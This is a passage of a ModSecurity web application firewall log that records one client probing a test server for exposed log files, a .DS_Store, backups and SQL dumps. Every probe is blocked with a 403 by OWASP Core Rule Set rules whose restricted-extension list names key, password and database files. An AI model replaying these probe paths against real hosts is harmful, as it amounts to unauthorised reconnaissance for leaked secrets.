[tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsVQAAAAY&quot;]
[Tue Jul 01 06:30:27.555831 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsVQAAAAY&quot;]
[Tue Jul 01 06:30:27.556000 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsVQAAAAY&quot;]
[Tue Jul 01 06:30:27.576052 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/error.log&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsVgAAAAY&quot;]
[Tue Jul 01 06:30:27.576391 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/error.log&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsVgAAAAY&quot;]
[Tue Jul 01 06:30:27.576579 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/error.log&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsVgAAAAY&quot;]
[Tue Jul 01 06:30:27.613344 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsVwAAAAY&quot;]
[Tue Jul 01 06:30:27.613686 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsVwAAAAY&quot;]
[Tue Jul 01 06:30:27.613886 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsVwAAAAY&quot;]
[Tue Jul 01 06:30:29.390005 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsWAAAAAY&quot;]
[Tue Jul 01 06:30:29.390389 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsWAAAAAY&quot;]
[Tue Jul 01 06:30:29.390606 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsWAAAAAY&quot;]
[Tue Jul 01 06:30:29.417040 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsWQAAAAY&quot;]
[Tue Jul 01 06:30:29.417400 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsWQAAAAY&quot;]
[Tue Jul 01 06:30:29.417663 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsWQAAAAY&quot;]
[Tue Jul 01 06:30:29.437780 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsWgAAAAY&quot;]
[Tue Jul 01 06:30:29.438156 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsWgAAAAY&quot;]
[Tue Jul 01 06:30:29.438384 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsWgAAAAY&quot;]
[Tue Jul 01 06:30:29.458567 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsWwAAAAY&quot;]
[Tue Jul 01 06:30:29.458810 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsWwAAAAY&quot;]
[Tue Jul 01 06:30:29.459002 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsWwAAAAY&quot;]
[Tue Jul 01 06:30:29.500239 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsXQAAAAY&quot;]
[Tue Jul 01 06:30:29.500611 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsXQAAAAY&quot;]
[Tue Jul 01 06:30:29.500811 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsXQAAAAY&quot;]
[Tue Jul 01 06:30:29.520832 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsXgAAAAY&quot;]
[Tue Jul 01 06:30:29.521182 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsXgAAAAY&quot;]
[Tue Jul 01 06:30:29.521375 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsXgAAAAY&quot;]
[Tue Jul 01 06:30:29.541765 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsXwAAAAY&quot;]
[Tue Jul 01 06:30:29.542310 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsXwAAAAY&quot;]
[Tue Jul 01 06:30:29.542614 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsXwAAAAY&quot;]
